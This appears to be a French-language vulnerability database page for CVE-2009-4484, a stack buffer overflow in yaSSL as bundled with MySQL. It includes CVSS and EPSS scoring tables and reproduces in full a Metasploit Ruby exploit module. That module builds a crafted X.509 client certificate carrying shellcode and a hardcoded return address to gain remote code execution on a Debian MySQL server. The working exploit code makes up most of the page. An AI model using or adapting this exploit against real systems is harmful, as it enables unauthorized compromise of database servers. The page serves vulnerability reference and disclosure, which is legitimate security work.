CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Multiple stack-based buffer overflows in the CertDecoder::GetName function in src/asn.cpp in TaoCrypt in yaSSL before 1.9.9, as used in mysqld in MySQL 5.0.x before 5.0.90, MySQL 5.1.x before 5.1.43, MySQL 5.5.x through 5.5.0-m2, and other products, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption and daemon crash) by establishing an SSL connection and sending an X.509 client certificate with a crafted name field, as demonstrated by mysql_overflow1.py and the vd_mysql5 module in VulnDisco Pack Professional 8.11. NOTE: this was originally reported for MySQL 5.0.51a.
Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
76.36%
–
–
2023-03-12
–
–
–
97.14%
–
2023-05-14
–
–
–
97.3%
–
2023-07-09
–
–
–
97.33%
–
2023-08-27
–
–
–
97.2%
–
2023-10-08
–
–
–
97.15%
–
2023-11-19
–
–
–
97.21%
–
2024-04-07
–
–
–
97.17%
–
2024-06-02
–
–
–
97.17%
–
2024-06-30
–
–
–
97.01%
–
2024-08-11
–
–
–
97.02%
–
2024-09-22
–
–
–
97.16%
–
2024-12-08
–
–
–
97.14%
–
2024-12-22
–
–
–
95.77%
–
2025-01-19
–
–
–
95.77%
–
2025-03-18
–
–
–
–
69.42%
2025-03-30
–
–
–
–
70.17%
2025-03-30
–
–
–
–
70.17,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2010-04-29 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: mysql_yassl_getname.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)
implementation bundled with MySQL. By sending a specially crafted
client certificate, an attacker can execute arbitrary code.
This vulnerability is present within the CertDecoder::GetName function inside
"taocrypt/src/asn.cpp". However, the stack buffer that is written to exists
within a parent function's stack frame.
NOTE: This vulnerability requires a non-default configuration. First, the attacker
must be able to pass the host-based authentication. Next, the server must be
configured to listen on an accessible network interface. Lastly, the server
must have been manually configured to use SSL.
The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing
on Windows XP SP3, these protections successfully prevented exploitation.
Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is
present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary
package were not exploitable due to the use of the compiler's FORTIFY feature.
Although suse11 was mentioned in the original blog post, the binary package they
provide does not contain yaSSL or support SSL.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2009-4484' ],
[ 'BID', '37640' ],
[ 'BID', '37943' ],
[ 'BID', '37974' ],
[ 'OSVDB', '61956' ],
[ 'URL', 'http://secunia.com/advisories/38344/' ],
[ 'URL', 'http://intevydis.blogspot.com/2010/01/mysq-yassl-stack-overflow.html' ]
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1046,
'BadChars' => "",
'StackAdjustment' => -3500,
'DisableNops' => true
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)', { 'JmpEsp' => 0x0807dc34 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 25 2010'))
register_options([ Opt::RPORT(3306) ], self)
end
def exploit
connect
# read the mysql server hello :)
version = nil
if (buf = sock.get_once(-1, 5))
#print_status("\n" + Rex::Text.to_hex_dump(buf))
if (buf =~ /is not allowed to connect/)
raise RuntimeError, 'The server refused our connection!'
end
len1,cmd = buf[0,5].unpack('VC')
rest = buf[5,len1]
idx = rest.index("\x00")
if (idx)
version = rest[0,idx]
print_status("Server reports version: #{version}")
end
end
# handle automatic target selection
mytarget = nil
if (target.name =~ /Automatic/)
print_status("Attempting to locate a corresponding target")
version = "(" + version + ")"
targets.each { |tgt|
if (tgt.name.include?(version))
mytarget = tgt
end
}
if (not mytarget)
raise RuntimeError, 'Unable to detect target automatically'
else
print_status("Using automatically detected target: #{mytarget.name}")
end
else
mytarget = target
print_status("Trying target #{mytarget.name}...")
end
# create/send the hello packet
hello = [0x01000020].pack('V')
hello << "\x85\xae\x03\x00"+"\x00\x00\x00\x01"+"\x08\x00\x00\x00"
hello << "\x00" * 20
hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"
hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"
hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39"
hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"
hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"
hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"
hello << "\x00\x03\x02\x01\x00"
sock.put(hello)
# build a cn that will trigger the vulnerability
cn = rand_text(payload_space - payload.encoded.length)
cn << payload.encoded
cn << [0,0].pack('VV') # memset(x,0,0); (this is x and the length)
# NOTE: x in above (also gets passed to free())
pad = 1074 - payload_space
cn << rand_text(pad)
cn << [mytarget['JmpEsp']].pack('V')
distance = 4 + pad + 8 + payload.encoded.length
cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
cert = "\x2a\x86\x00\x84"
cert << [cn.length].pack('N')
cert << cn
cert = "\x30"+
"\x82\x01\x01"+
"\x31"+
"\x82\x01\x01"+
"\x30"+
"\x82\x01\x01"+
"\x06"+
"\x82\x00\x02" +
cert
cert = "\xa0\x03" +
"\x02\x01\x02" +
"\x02\x01\x00" +
"\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" +
cert
# wrap in 2 sequences
cert = SNMP::BER.encode_tlv(0x30, cert)
cert = SNMP::BER.encode_tlv(0x30, cert)
cert1 = big_endian_24bit(cert.length) + cert
certs = big_endian_24bit(cert1.length) + cert1
handshake = "\x0b" + big_endian_24bit(certs.length) + certs
msg = "\x16\x03\x01"
msg << [handshake.length].pack('n')
msg << handshake
sock.put(msg)
handler
disconnect
end
def big_endian_24bit(len)
uno = (len >> 16) & 0xff
dos = (len >> 8) & 0xff
tre = len & 0xff
[uno,dos,tre].pack('C*')
end
end
Products Mentioned
Configuraton 0
Oracle>>Mysql >> Version From (including) 5.0.0 To (excluding) 5.0.90